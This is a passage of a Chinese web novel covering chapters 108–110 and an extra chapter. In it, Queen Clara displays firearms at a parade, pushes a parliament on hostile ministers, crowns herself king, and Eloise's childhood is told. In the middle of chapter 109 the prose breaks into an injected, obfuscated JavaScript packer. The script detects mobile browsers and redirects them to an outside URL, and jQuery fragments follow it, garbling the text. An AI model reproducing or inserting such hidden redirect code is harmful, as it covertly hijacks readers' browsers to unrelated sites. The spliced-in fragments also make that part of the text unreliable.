虽然驻扎在王都的士兵约有两万多,但参与阅兵游行的士兵只有三千左右,而德林郡与西亚尔玛的士兵方阵足足占了一半。 当然大部分贵族领地的士兵仍然在南边作战,南境拥有近两万兵力。 看台上的贵族有些坐立难安,主要是因为克劳拉口中的新式武器。 他们在心中嗤笑女人懂什么武器,认定克劳拉绝对是夸大其词,但又忍不住忧虑,万一她说的是真的,毕竟德文希家一家子的邪门歪道! 众人对前列受阅的士兵都有些兴致索然,不安又带着蔑视的态度等待德林郡士兵出场。 直到印着雪绒鸟纹章的旗帜出现在众人视线范围内,看台所有人都正襟危坐,主看台几位内阁大臣与将军也正色。 冬日德林郡的军装礼服是绒红色,带着镀金的边线与扣饰,德文希伯爵骑马走在最前,而莫兰特已经沦为他的举旗手。 德林郡三支方阵,最前端是逐渐壮大为五十人的雪鸮骑士团;与常规德林军,混杂了普通骑兵与半数战士;而队伍末端则是炮兵团。 这些钢铁武器冰冷的炮口朝天,像是一头头蛰伏的猛兽。 克劳拉眼睛一亮,兴致勃勃为安德鲁介绍这些火炮。目前巫师塔研制有三种,一种是只能固定在城墙上的守城火炮,今日没办法一睹风采。 另外两种一种为重型火炮,一种为便携式能在四处运输的小型火炮。克劳拉讲解着这些火炮的口径、射程与威力。 “五尊重型火炮,五轮下来连圣城的城墙都抵挡不住。小型威力会弱一些,一发下去也就只能让一只巨魔失去行动力。” 安德鲁与大臣:…… 圣城号称是最坚硬的防御城墙,如果圣城都只能坚持五轮,王都可能勉强能打三轮。 在绝对的火力面前,任何阴谋诡计都是空话。 “王城有些脆弱不太好开火,等过些日子邀请诸君前往南面的山脉试验威力。不过稍后的火枪团可以试试火。”克劳拉仿佛丝毫察觉不到这些人的紧张。 等到玛格丽特率领着西亚尔玛的士兵与火枪团出现时,这些丝毫不掩饰性别的火枪手们竖起长枪紧贴身体,朝克劳拉的方向敬礼。 克劳拉站在看台的边缘回以同样的军礼,她朝玛格丽特打了个手势。玛格丽特一声令下,所有火枪手举起手中的枪管,朝着天空上膛射击。 如雷鸣般的枪击声让贵族们心下悚然,视力好的人明显能看到有黑点破膛而出,朝着天空极速射去。 几位将军都兴奋地站起来,火炮他们没有见识过威力,光听着不能理解强度。但火枪不同,出于对战场的敏锐,他们很快意识到这种小型可随身携带的武器对战场影响之大。 “王后殿下,这种武器——”将军们很快想起这是德林郡的重要武器,恐怕不会就这么随意分享给其他军团,这让他们隐隐有些失望。 但是克劳拉也不是什么不爱分享的小女孩,她明码标价,“一口价百金一支,包三年维修。” “……”大臣们心想您不如直接强抢教会银行来得更快。 但将军们已经在盘算着手中的资金,又将祈求的目光投注到尊敬的陛下身上,希望陛下能为他们增加一些军团预算。 而安德鲁忆起空空荡荡的国库,选择装作没有看见。 阅兵最后是被临时拉来的新贵族护士们。她们从未经过这些训练,今日前也没有被通知拥有这份殊荣,走得有些散乱。 但克劳拉脸上的笑容远比之前更真实,她朝着她们用力挥手。纹章做成提灯好了,她们本身就是光,没有任何人能够熄灭的光。 民众在见到她们时欢呼声比以往更大声。毕竟成为优秀的士兵对他们来说可能有些遥不可及,但护士们就在不久前于他们的眼前诞生,还在之前与他们日常相处。 至少在这一刻,护士们只是一群值得尊敬的人,在享受属于她们的荣光。不再因为她们生为女人,就不被看见。 “我们所求的,一直只有作为人作为普通公民,享受公民的权利,在阳光下做自己想做的事。” 克劳拉的自言自语落到这些内阁大臣耳中。她不在乎是否会在他们心中引起轩然大波。 从今往后,他们只会受到更多来自女人的冲击,迟早是要习惯的。 109. 第109章 四月,南边的战事终于结束,卢尹帝国君王签订投降国书,愿意割让北部三个郡并赔偿巨额财产。 这场持续一年半的战争终于画下了尾声。王室派来的使臣接手了这一片区域,后续事务都不再属于塔的职责,他可以凯旋回都,接受封赏。 弗洛伦斯已经离开西亚尔玛三年了,虽然期间一直与家人朋友们有信件往来,但思念不是光靠几封信就能缓解的。 “快的话,等回到王都,还能赶上五月节。”漫长的军旅生活,让弗洛伦斯无比怀念安定的日子。 “等去王都,克劳拉真的会给我们所有人都授勋吗?”姐妹会的成员们边收拾行礼,边热闹地讨论着未来的事。 弗洛伦斯刚把写给克劳拉的信件封好,笑着道:“以后你们要称呼她为王后了,克劳拉骗过你们吗?” 古斯塔二世成为国王都有一年,去年她们于边境赶不上加冕仪式,只得今年再去面见新君与新后。 气氛有瞬间的凝固,讨论也不像之前那么热火朝天。弗洛伦斯疑惑:“怎么了?” “克劳拉阁下都结婚了,成为王后,就像她不再属于我们一样。” “而且王后是不允许随意外出王宫,也不能过分干政,她还会失去她的姓氏,不再姓德文希。克劳拉阁下,……真的还是自由的吗?” 弗洛伦斯回答不上来,她只知道克劳拉不会像其他王后一样,甘心被困在深宫之中。 就算那座宫殿真的将克劳拉困于其中,而她又想逃离,弗洛伦斯认为自己肯定会用锤子凿开宫殿,让克劳拉逃出来来。 “至少她还能为女士们授勋,这可是前所未有的壮举!姐妹会所有成员!以后通过考核的每一位女孩!” 她的话语又让女孩们充满力量,心中又有着忧虑,为了让她们获得这份荣耀,克劳拉又承受了什么。 启辰前往王都的当天,弗洛伦斯回望这座南方的要塞,虽然她不喜欢战争,但真离开这片土地,还是让她有些感慨。 大部分人脸上带着喜悦的笑容,不仅仅是因为可以受赏,更因为能够返乡。 “南方可呆不习惯,我还是更喜欢北方的雪原,这边连酒都不够烈。” “我们受赏完是回北方,还是待在王都?” “不好说,大概听新国王的安排吧。” 正式出发前,弗洛伦斯去找塔商议伤员安置的事,希望由他向陛下提起。 塔正趁难得的空余时间给克劳拉写信,见到弗洛伦斯,他郑重又迅速地将信收好,放进行囊中。 弗洛伦斯隐隐看到一大叠没有寄出去的信件。她装作没看见,专注表明来意。 就算她不提,这件事塔也会上报给新王,但弗洛伦斯递给他写好的完整文书,“递交文书会正式一些,你以后也要学会写这些,不能像以前一样凡事直接告知克劳拉就行。” 塔沉默了一瞬,接过文书,点头应允。他没有再写信,望天沉思,直到他的副手喊他出发,才动弹。 或许他成为了贵族,也没有离克劳拉更近一些。 * 虽然已经四月,但冬日的寒气还未完全驱散。 尤其是清晨时分,守卫在王后套房外的骑士们,站在靠近壁炉的位置取暖,等待换岗。 “公爵阁下!您不能进去!” 大门被猛地推开,骑士反应迅速,即刻竖起火枪,上膛对准不速之客。 几位侍女死死拦在房门口,不让温斯顿再进一步。 公爵本人也觉得清晨闯入王后的房内实在于理不合,最终只顶着众多枪口在会客厅坐下,让侍女们将克劳拉唤醒。 他面带愠色,发梢凝着水珠,显然是披星戴月赶到王宫。 几分钟后,只披了一件斗篷的克劳拉打开房门,脸色比温斯顿更难看。 她每天处理政事到深夜,六点就要起来与内阁大臣见面,而如今不到六点就被人吵醒。 克劳拉咬牙切齿道:“公爵阁下,您最好有事。” “卡尔人呢?你对外声称陛下重病在床,需要调理。结果他人根本不在王宫之中!”温斯顿腾地站起,三步并作两步来到克劳拉面前,与她对峙。 “卡尔待你如何,所有人有目共睹,而你这个毒妇……” 克劳拉懒得听他疯狗一样攀咬,当着他的面关上房门。 愤怒地温斯顿只能猛力拍打大门,被雪鸮骑士拿枪指着脑袋也不停下,“今日我若是见不到卡尔人,明日我就会回诺兰郡,既然你想挑起国内战事,那我奉陪到底。” “克劳拉·古斯塔!开门!” 片刻后,伊登闻讯带着宫中侍卫赶来。只听见温斯顿公爵阁下暴怒的吼叫声,他不悦道:“是德文希,若拉姓德文希。公爵阁下大清早不顾礼节闯入王后宫中是要做什么?嘴里还战争,战争。” “我妹妹给你家打工这么久,你张嘴就是扣帽子。要打就打,也别等明天,你现在就回诺兰。” 温斯顿实在不想就姓氏这个问题争辩,每次伊登都会因为这件事和他翻脸。嫁给男方,默认改成男方姓氏这是约定俗成的事,只有这该死的德文希家总是在搞特权。 如今的公爵只想要亲眼见到古斯塔二世。 要看两人气氛僵持,又要吵起来,房门再次被打开。 穿戴整齐的克劳拉出现在众人面前,神色也恢复一贯的冷淡。她随意吩咐几位侍女提前准备早餐,还有心情问询两位阁下要不要一同用餐。 温斯顿被她无谓的态度弄得气极反笑,张口又要质问国王的下落。 “我以为温斯顿阁下远比我更了解陛下,看来也不尽然。这种事你不如去找斐迪南公爵阁下。” 克劳拉冷嘲热讽,这些内阁大臣一天天和巨婴一样,见不到安德鲁本人,连基本的理智都没有,更别提好好干活了。 她口中的斐迪南公爵不是老公爵阁下,而是艾洛薇。半年前公爵夫人一把火将公爵府烧毁,连带着自己和老公爵全都葬身于火海中。 克劳拉力排众议,修改了宪法,让艾洛薇以女子之身继承了公爵之位。而后者本人也手腕强势,短短半年进入财政所后,便将财政所上下管理得服服帖帖。 若不是如今这位财政大臣还活着,艾洛薇可能已经取代他,成为第一位进入内阁权力中心的女人。 只是,自从艾洛薇于王廷办公以后,安德鲁再也忍不住总与她私下会面。 到后来发展成两人经常私奔,彻夜不归。安德鲁连公文都不帮她处理了,一股脑把事情都推给克劳拉,对外称自己重病,实则天天和艾洛薇往外跑。 克劳拉起初还睁只眼闭只眼,到后来怨气比温斯顿还重——她成为国王处理公文,和被不负责任的国王强迫处理公文是两码事! 至少安德鲁还记得给她留话,国王骑士颤巍巍地挤进人群,将安德鲁的下落耳语给她。 克劳拉朝着温斯顿抬下巴,“在他那个男爵庄子里,劳驾公爵阁下自己去寻,也或者等到几小时后,斐迪南公爵会来王廷办公。以后要回诺兰郡,也不用大清早来我这通知我,直接回去吧。” 一想到那两没心没肺的人,克劳拉就烦闷,连带着眼前的温斯顿公爵都觉得碍眼。早餐也不想留他用餐,只和伊登一起前往餐厅。 * 上午的内阁会议,温斯顿缺席了。几位大臣又提到了军工厂的事,都想分一杯羹。 之前为了堵住几位大臣的嘴,让他们同意破例让艾洛薇继承爵位,克劳拉在王都工业区建立几座军工厂,并同意让他们的人参与管理。 不过工厂生产的都是零部件,拆开生产,再由女巫培训的特殊女工组装。 工厂建立一段时间了,这些大臣仍然没有摸透火枪的构造。 这次他们想让克劳拉松口,在其他郡建立军工厂,打着强国的名头。 克劳拉轻叩桌面,“可以,那议会的事——” “不可能!我们绝不会和一群平民聚在一起开会!那是对贵族的辱没!” 克劳拉觉得她一直能容忍瓦兰许待在内阁,真的是很仁慈了。尤其是最近她表现得太和蔼,让这位侯爵阁下总是第一时间跳出来反驳她。 “瓦兰许阁下,或许您有认真阅读过我起草的制度吗?这项文书,我已经下发给你们近一个月,让你们月余上交给我相应的建议。” 她双手搭成塔状,放在唇上一些的位置,微微挡住下半张脸,眼睛微眯,目光扫过内阁在座的几位重臣。 “很遗憾,迄今为止我没有收到任一位阁下关于议会制度的提案,显然诸位并不把我吩咐的事情放在心上。后天是最后的期限,我其实并不喜欢动用一些武力威慑,但是必要时——” “您这是在威胁我们?”一位大臣怒而拍桌,“我们一直容忍一个女人坐在主位,难道还不够体现对您的尊重吗?既然您如此大言不惭地威胁我们,那我从今天起退出内阁,不干了!” 大臣甩下冠冕,怒气冲冲地离开议政厅,有两位也追随他离开。财政大臣起身,又很快坐下,一旦他离开,很有可能明天就被艾洛薇取代。 大法官也没有动作,他是由阿方索指派过来的新主教。经历过圣城之站,知道克劳拉的城府,与她背后女巫们的厉害,所以他要是选择明哲保身。 瓦兰许得意地目光落到克劳拉身上,似乎认定了克劳拉会服软,求几位大臣回来,到时候他们在借机要求她同意军工厂的事情…… 但克劳拉全然不在意几人的离开,扬起笑容,“今日先到此为止,诸位还请共勉。关于议会的文书还是于后天上交到我这,不然也像之前那几位一样识趣地离开罢。” 说完她先一步离开议政厅,只留下面面相觑的其他臣子。瓦兰许咬牙,认定她只是装模作样,不出三天就会服软。 亚克询问她那几位离开的大臣该如何处置。 “他们年纪大了,为帝国辛苦这么多年,是时候休息了。” 开什么玩笑,这份议会的方案可是她几年的心血,不仅仅咨询过女巫,还咨询过数位政治方面的大学学者与教授。 而这群满脑子都是利益的猪猡,看都不看一眼,张口就是否认。既然他们不懂,就让能懂也愿意执行的人上位吧。 宫廷之中这么多家族等着上位,内阁大臣之位虽然家族世袭,前提是王室允许。而这份殊荣,随时可以被王室收回。 艾洛薇刚踏入王宫,便被人请去王后书房,她回望眼她身后带来的侍从与硬要跟在她们身后的温斯顿公爵。 雪鸮骑士立刻表明,“殿下让您的侍从也一同前往——至于公爵阁下,您请自便。” 被抓包的艾洛薇丝毫没有愧疚之感,大摇大摆带着伪装成侍卫的安德鲁穿过深宫,去往克劳拉身边。 “今天宫中出什么事了吗?”她来时,看到几位贵族马车驶离。 “您或许可以直接询问殿下。” 虽然骑士不愿意告知,艾洛薇也猜到了,多半又是成立议会的事情谈崩了。其他国王只想着怎么把权利抓在手里,而克劳拉却想着成立个议会来抑制她的权利。 她们到的时候,克劳拉正在联系女巫,德林郡已经全部交由女巫辅助佩妮管理,调过来两位暂时支撑王都完全能够胜任。 安德鲁进入书房后才摘下面罩,自知理亏处理起公文。 艾洛薇则搬了椅子过来,又让侍女上茶点,“瓦兰许那个老东西又找你麻烦?早说了趁早把他替下来,没有人选的话,我帮你挑选几个?” 渡鸦从克劳拉手臂上飞离,扑腾两下离开了室内。 克劳拉目送渡鸦离去后,才嗤笑道:“两位真的好兴致,我都不清楚哪有那么多事情需要两位天天腻在一起才能解决。” “好了亲爱的,如果你需要也可以多找几位男宠陪伴。文书不想处理也大可扔给文官,你给他们薪水就是让他们干活的——所以你打算什么时候做到这个位置,反正现在也大差不差。” 艾洛薇也拿起一些公文翻阅了几眼,这一叠都是些各郡春天收上来的税收情况,看来是专门留给她的。 “你那个在德林郡常跟在你身边的小男友该回来了吧,整个北方和南方的军队都在你的人控制下。霍恩·温斯顿也没什么好担心的,他根本不会和你兄长动手。至于西边……” 在这个国家,谁掌握足够的兵权,谁就拥有话语权。西边的几位边境伯爵见过火炮的威力后,就一直老实地缩在领地,目前安分守己。 王都的武官也没那么多弯弯绕绕的心思,克劳拉给他们提供钱和武器,他们就愿意宣誓效忠。 教会也每天忙着在其他国家挽回他们岌岌可危的名声,已经很久没有在帝国作妖。 只有少部分文官,认为他们身为贵族,更是统筹着帝国命脉,王室也应该为他们让步。 他们尤其不满克劳拉以王后身份干政,一直小动作不断,实在烦人至极。 而艾洛薇最想不通的是,克劳拉居然建立议会还要让文官拥有更多的权力,甚至能制衡君主——当然目前那群蠢蛋显然没有发现这一点。 确实现在国王名存实亡,内阁也只有少数大臣还在嘴硬不支持她,大部分已经隐隐预感到了国王已成傀儡的事实。 但克劳拉抬头思索了片刻,直觉告诉她这还不是时候,她说道:“至少等你和安德鲁有孩子。” 艾洛薇一蹙眉,虽然她信任克劳拉,但还是忍不住阴谋论起来,“什么意思?” 克劳拉难道还是担心安德鲁对王位不死心,需要一个孩子牵制他? 安德鲁也从文书中抬起头,等待克劳拉的回答。 “倒也不是,我曾经和你说过我得到过神谕,你和安德鲁的孩子会成为新的国王。神谕几乎是既定未来,只会有细节上的差别。” 克劳拉就像没察觉到两人的凝重,继续往下说,“所以,不如一开始就让你们的孩子成为名正言顺的王储,以防未来众多身份上的麻烦。” 艾洛薇其实一直以为克劳拉所谓的神谕不过是玩笑,但疫病真实发生了,古斯塔一世也在克劳拉所说的时间节点左右死去。 包括克劳拉多年前一直固执地认为她绝对会和安德鲁在一起。 还有去年,克劳拉曾经莫名问过她一个问题,“如果某天安德鲁不再是安德鲁,他躯体里灵魂换了一个人,你会如何。” 艾洛薇记得她的回答是:“我会待在他身边,找机会杀死他,找回真正的安德鲁。” 当时的克劳拉释怀地笑了,什么也没有向她解释。弄得她当时每天都在折腾安德鲁,确认是安德鲁本人才放下心。 显然现在克劳拉也不是在开玩笑,她坦然且平静地接受了未来成为国王的不会是她的后代。 艾洛薇张口想问很多,克劳拉你到底想要什么?为什么你能够如此平淡地接受既定命运?你真的不会怨恨我和安德鲁吗? 最后说出口的却是:“没想到你还是神明的忠实信徒,我知道了,这件事你得看安德鲁够不够努力了。 安德鲁脖子至脸一片通红,强装镇定地将心思投注到文书中。 两人之间黏糊的气氛弄得克劳拉受不了,转头就将他们赶走,一副不想再见到他们的模样。 五月初凯旋的大军终于抵达王都,可惜没能赶上五月节。 安德鲁本人难得在公众面前现身,与克劳拉一同去迎接大军,并未他们授勋。 看安德鲁苍白的下半张脸,几位大臣想往他身边凑,又有些畏惧他身边的克劳拉。 克劳拉瞥一眼欲言又止的大臣们,不太想因为这些家伙影响今天的心情,直接说:“和你的巨婴们好好聊聊,我去看一眼庆功宴那边的准备进度。” 安德鲁反应过来试图挽留克劳拉时,她已经不见踪影,而他也被关切的大臣包围。 难怪克劳拉每天晨会后都心情不好,面对这些脸他也郁闷了。 众多士兵穿过欢呼的人群,直到进入王宫巍峨的城堡,这些士兵大多数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729545|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是头一次来到王都,更是初次进入王宫,兴奋好奇的目光挡都挡不住。 因为国王身体不适,由王后本人亲自表彰他们,为重大贡献者戴上勋章,又为姐妹会们授勋。 塔被授予的是一枚最高级别的军事勋章,上一位如此年轻就获得这项荣誉的正是克劳拉的父亲。 “听说你对外说你姓德文希?”替塔别勋章时,克劳拉用仅两人听得到的音量轻声道。 塔瞬间紧张起来,结巴半天说不出话,最后只草草结束吻手礼落荒而逃。 克劳拉烦闷一扫而空,回到王后座位时笑容也没下去。 安德鲁好奇问了一嘴。 “这可是十万金的赔偿款。”克劳拉一想到国库即将拥有这么多钱,嘴角都压不下去,“还有三个诺兰郡那么大的土地,你觉得我该派谁去管理——那几个不愿意回来的内阁大臣怎么样?” 土地上民众不是打仗死亡就是死于疫病,已经相当于空壳。送几位大臣过去养老,她真的是太仁慈了。 又是政事上的事,安德鲁自讨没趣地闭嘴,克劳拉简直是个工作狂魔,天生国王圣体。 既然南边的军队也回归,她终于可以准备大刀阔斧改革军制。希望这些贵族能够安静顺从地让她顺利推进改革,她真的很讨厌流血。 * 秋风猎猎,风扬起克劳拉的短发,她的目光落到丛间跳跃逃窜的雄鹿身上,竖起火枪,瞄准射击一气呵成。 不远处艾洛薇的目标同样是那只雄鹿,可惜克劳拉开枪后,混乱的鹿群阻碍了她的视线,最终只打下来一只母鹿。 “是我赢了,艾洛薇。”克劳拉放下枪,难得赢艾洛薇一次,她笑得很肆意。 “你应该让一让我。”艾洛薇耸肩,无所谓地摆摆手,让侍从将鹿先送回营帐那边。 两人狩猎的猎物已经足够了,骑着马在山间随着散步。 “你应该说服弗洛伦斯来财政所,她的数学才华可不能浪费在其他地方。”两人独处时,也经常讨论各种政事。 艾洛薇自从在弗洛伦斯写给克劳拉的来信中见识过她独创的统计图,一直对弗洛伦斯念念不忘。多次邀请她前来财政所。 但弗洛伦斯沉迷于创办护士大学,每次的邀请都被以此为理由拒绝。得不到想要人才的艾洛薇只好一个劲骚扰克劳拉。 耳朵已经听出茧子的克劳拉拒绝帮忙,“弗洛娅想做什么就做什么,你不如去把雪莉挖到你身边,反正商业部萨曼一个人足够了。” 虽然雪莉也很聪敏,但是弗洛伦斯太出彩了,对比之下其他人都显得那么平庸。 到最后艾洛薇耍起赖来,“我是孕妇,我的要求理应得到满足!” “好吧好吧,我让弗洛伦斯过来帮你一阵,能不能留住她就看你了。”克劳拉选择让步。 王都这一片山脉与德林山脉不尽相同。随处可见裸露的黑色岩石层,山路崎岖且四周空旷,少有植被。 两人在溪边下马,原地休息一阵。 “这些山脉,数千年才形成这副模样,人类短暂的数十年对它们来说不过须弥之间。” 前往山顶的路过于遥远,今天艾洛薇在身边,克劳拉没有冒险登山,而是仰望着四周奇异磅礴的山壁。 她时常觉得人的一生太过短暂,眨眼间就会化作尘埃回归尘世。多数人在历史上留不下一丝痕迹,而剩下的也不过是史书上寥寥几行文字而已。 一捧凉水扑到克劳拉脸上,打断了她的思绪,她抬手遮挡,“洛薇!” 深秋的风已经带上了凉意,而艾洛薇脱掉靴子赤着脚踩在溪水中,朝克劳拉泼水。 克劳拉想到她的身体状况,只象征性的回击两下,便叫她上岸。 艾洛薇觉得没意思,身边的人这些日子都对她太小心翼翼了。她随意地坐在岸边,将头靠在克劳拉肩上。 “你和其他人不同,克劳拉。他们都自以为是高山,是奔流的河流——而你是才是群山之颠。” 没有人不喜欢听夸赞的话,哪怕有些夸大其词,克劳拉笑了起来。 “别笑!我是认真的!”艾洛薇语气严肃,“我曾经问过你,想不想在史书上留下你的名字。” “你看,你现在做到了,但是不够高!克劳拉,你要成为史书上无法翻越的高山,后世的每一任君主都只能仰望你的高度!” “没人敢说这只是个女人!更没人敢说你的王位来历不正!高到让所有闭上嘴!你必须要做到,否则史书的撰写者只会戳着你的脊梁骨骂。” 克劳拉张开五指,她足足戴着四枚戒指,象征德文希家的尾戒、王后之戒,王权之戒以及神权戒指。 “当然,艾洛薇,这是我存在的意义。” “我会让所有人只能臣服我、敬仰我。” “此生立于群山之巅。” * 古斯塔二世在位一年半后殁于疾病,传闻由于教会黑巫师的诅咒,这位早逝的君王一直重病不见好转,终于冬日不治身亡。 同年,王后克劳拉宣布怀孕,借由古斯塔二世遗腹子之名获得众臣支持,荣登王位。 克劳拉一身戎装,这是首次君主加冕礼,国王没有穿着礼服而是军装。克劳拉不在乎什么不合礼节,在这座王城,她的言行就是最高礼节。 虽然外界传闻她是母凭子贵,但在座的贵族都清楚,即使没有这个孩子,这个位置最终也只会落到她手里。 孩子不过是内阁大臣最后的妄想,企图在未来利用古斯塔唯一的血脉,宣告克劳拉王位来历不正,篡取国王的宝座。 就当给根胡萝卜吊着这群蠢驴,免得他们天天乱来,克劳拉想着。 加冕仪式上执剑官由艾洛薇担任,她执意要出任这项工作,原本期待了很久的伊登只能退而其次,和玛格丽特共同担任金仗侍卫。 二楼坐满了数百位女巫和护士,克劳拉抬头就能看到她们,赫利斯也混在其中。虽然蕾莱发誓过再也不踏入教会,为了克劳拉她还是违背了自己的誓言。 弗洛伦斯和塔坐在受勋席见证加冕仪式,这一带是历代获过最高勋章的众臣才能入座的区域。 安娜和雪莉则作为执袍侍女,一路跟随克劳拉直至她登上象征王权的宝座。 “神佑我王,神佑克劳拉女王!” 阿方索教皇为她端来加冕之冠,这是其他君王未曾有过的待遇,由教皇亲自加冕。 但克劳拉未见一丝一毫欣喜以及虔诚,她亲手拿起王冠为自己戴上,自己为自己加冕。 在群臣的祝福声中,她沉声道: “是国王,别在这耍些小心机。” “当然,我的国王陛下。” 这场仪式教会沦为了克劳拉的陪衬,所有的权杖与权力戒指,都由她亲自拿取,而非教皇授予。 “神权理应由我授予,阿方索冕下应当知道我的意思吧。” “当然,我的陛下。” 克劳拉满意他的识趣,决定暂时不计较教会最近的小动作,以后再收拾他们。 她在祝福与歌声中朝着教堂外缓缓走去,教堂的大门在为新的国王缓缓敞开。 子民在为国王欢呼雀跃,白鸽飞过天空,留下几片轻盈的羽毛。 “克劳拉陛下,几年前我们曾有过一次关于命运的短暂交流。时到今日您的命运是否已经发生改变?”阿方索在克劳拉身后一些的位置,轻声询问她。 克劳拉没有回头,她不需要回头也知道身后拥有众多爱她的人和她爱着的人,她们都在专注地注视着她,并将在未来也一直陪伴她走下去。 “那已经不重要了,阿方索。重要的是我已经足以掌控自己和他人的命运。”克劳拉向前几步,彻底进入阳光之中。 年轻的国王沐浴在光中,戎装勾勒出她挺拔坚毅的身姿。风吹过她的发丝,澄澈的眼中倒影着子民与城市, “我,克劳拉,会一直走下去,即使是众神也无法将我和王座分离。” 110. 番外(1) 艾洛薇出生时,父母对她的到来并不欣喜。 “又是女儿!又是女儿!”母亲在私下里总是很暴躁,完全不似她在外界被人赞誉的贤惠端庄形象,“你为什么不能是个男孩!” 母亲愤怒地摇晃着她的肩膀,“因为你不是个男孩,你的父亲在外面找情人!因为你不是个男孩,我要在外面被人指点生不出儿子!还要看那些贱蹄子的脸色!” 她不解,幼小的孩子哪懂这些,“为什么我非得是个男孩不可?” “因为女儿可没有爵位和财产继承权,难道公爵的位置要留给那些肮脏低贱的私生子吗?那我这么多年为这个家又算什么!” 大姐和二姐沉默着坐在桌边看书、摆弄鲜花。艾洛薇目光从她们身上掠过, “我不懂,母亲,为什么我是女儿就不能继承。” “为什么!为什么!因为你父亲是个男人!你的舅舅!你的爷爷外公全都是男人!规则是这样制定的!”她的歇斯底里似乎吓到了二姐,二姐手中的书本发出刺啦的纸张破损声。 “母亲,那你应该去骂制定规则的人,而不是在这里骂我为什么不是男孩。” “你真是个坏孩子。”公爵夫人似乎对艾洛薇感到失望,她用冷酷的语气如此宣判随后又走向两位屏息的女儿,“你们还做什么!艾洛薇这个样子难道不是你们这些做姐姐的没有做好榜样……” 母亲总是这样,艾洛薇慢慢走到窗前,公爵府的花园很大,父亲正在其中与一位女仆调笑着。 我是女孩,她如此清晰地认识到,且绝不会变成男孩。 “我不想学这些书。” 书房里,艾洛薇将童话书随意地抛掷到家庭教师面前。 家庭教师是一位贵族绅士,但出身低微,想来废了很大的劲才挤进公爵家。 但他的恭敬与谦逊都用在了讨好公爵与公爵夫人身上,对于她,这位教师总是有些不耐烦,“那您想学些什么?贵族淑女们都会学这些。” 她从书架上随意取下一本《帝国律法与经济》,“就这本吧,我想学。” “这可不是女孩该学的书。”家庭教师却没有接过这本书,他又重新选了些图画书,“我想您或许不喜欢那几本书中的插画,我在为您重新选一些。” 艾洛薇将书重重地放在桌上,稚嫩的脸上带着严肃,“就是这本,我要学。还是说,先生您并不精通这方面——” “夫人,我从未教过如此——傲慢的学生,她居然在质疑我圣都大学毕业的水平,我想比起启蒙老师,艾洛薇小姐或许更需要一位礼仪老师。” 男人一直向公爵夫人抱怨着,时不时用“权威”的眼神叹息着看向她。 公爵夫人只好不断地安抚这位过于激动的年轻人,待他离去后,才狠狠地掐着艾洛薇的胳膊:“你可真是!无可救药!像你的父亲一样不要脸。” “我想学的他无法教我,却教一些我已经学过的东西,这种人也配当我的老师。”艾洛薇用另一只手试图阻拦她的母亲,没想到阻拦却激怒了这位神经敏感的公爵夫人,她被一巴掌打翻在地。 “女孩就该有女孩的样,你已经不是个男孩了,难道你要做不男不女的怪物!” 公爵夫人的贴身女仆迅速赶来,替夫人顺气,又喂她吃药,“您又何必为了不相干的人影响与小小姐的关系呢,既然她不喜欢这个老师,换一个便是了。” 女仆长带着她离去后,其他女仆们才敢将艾洛薇扶起,并劝阻道:“您又何必总是忤逆夫人,按照夫人的意思来不好吗。” 艾洛薇用袖子擦去鼻下的血迹,母亲那样才是怪物,她才不会成为那样。她甚至不想再呆在公爵府,这座华丽的囚牢,底下却是恶臭的深渊。 对于一个7岁的孩子来说,想要离开家庭独自生活也太难了,甚至于艾洛薇从未单独出门过,每次出门总是大堆眼睛紧盯着她,就像在看守罪犯一样。 等我再大些,成为大人,就逃离这里,艾洛薇静静等待着长大。 只是还没等她长大,参加完舞会回家的母亲就带回一个好消息,“玛丽今天答应我,让洛薇去她身边做女仆——” “玛丽,哪位玛丽。”父亲随口敷衍道,他手中的刀叉与盘子发出有些刺耳的摩擦声。 “王后殿下啊!玛丽王后!噢我的天哪,王子殿下与洛薇年级相仿,洛薇要是去到殿下身边,那不就是稳妥的下一位王后了吗。” 斐迪南公爵终于来了些兴致,他的姿态不再随意放松,“你说的是真的?” “当然!殿下可是在众多夫人面前亲口答应我的,我们家洛薇人又出得好看,又聪明——” 这是母亲第一夸她,但艾洛薇心中并未因此有所起伏,因为这些夸赞是虚假的,散发着恶臭的。 因为这件事,饭后父亲也难得地将艾洛薇喊至书房——这间书房她从未进来过,是独属于公爵的,连夫人也不允许随意入内。 更难得是,从她出生至今,她的父亲斐迪南公爵第一次对她说出这么多话: “这是你的荣幸,在王后身边你能学到很多,相信你能成长为像殿下一样的名媛……甚至你有可能会遇到国王陛下,这个国家最顶尖的男人……最重要的是要与安德鲁殿下打好关系……希望你不会让斐迪南家族蒙羞,永远记住你的身份,你是斐迪南公爵之女。” 王后,也是和父母一样的怪物吗。 如此的想法在她见到了玛丽王后,立刻消散不见,真好看,艾洛薇想。 像水妖一样又长又飘逸的黑色长发,琥珀色眼睛与白皙的皮肤像一位女巫。 “你就是艾洛薇吧,可真是一位小甜心。”玛丽王后笑着是,颊边露出两个浅浅的酒窝,这也和所有女人都不一样,她不是怪物,艾洛薇肯定。 “殿下,您可以不要用甜心来称呼我吗?” 公爵夫人放在艾洛薇肩上的手立刻微微收紧,“殿下,这孩子有时候总爱说些奇怪的话。” 但玛丽王后并没有因此觉得冒犯,仍然笑盈盈,“那亲爱的,你想用什么称呼?” 肩膀上疼痛并没有让艾洛薇在意,她认真地思索着,半天才道:“您平时如何称呼安德鲁殿下,可以那样称呼我吗?” “艾洛薇,你也太失礼了——” “我称呼我的小王子为小绅士,或者小阁下,有时候也会称为甜心。”玛丽拉起艾洛薇的手,将她从公爵夫人身边,带了过来,“艾洛薇阁下,你喜欢这个称呼吗?” 艾洛薇没有回答,只是脸上染上几分孩子气的红晕,眼中闪着光,她喜欢这位王后。 玛丽摸了摸她的头,让贴身女官接过艾洛薇的行李,与伯爵夫人交谈起来。 “很感谢殿下您愿意让洛薇来到皇宫,她有时会有些奇怪,嘴里说些冒犯的话,届时还请殿下不要太过仁慈,该教育时……” “斐迪南夫人,不用担心,我会好好教导艾洛薇,她是一位可爱的孩子,若是您想念她,也可以常来宫中探望——” 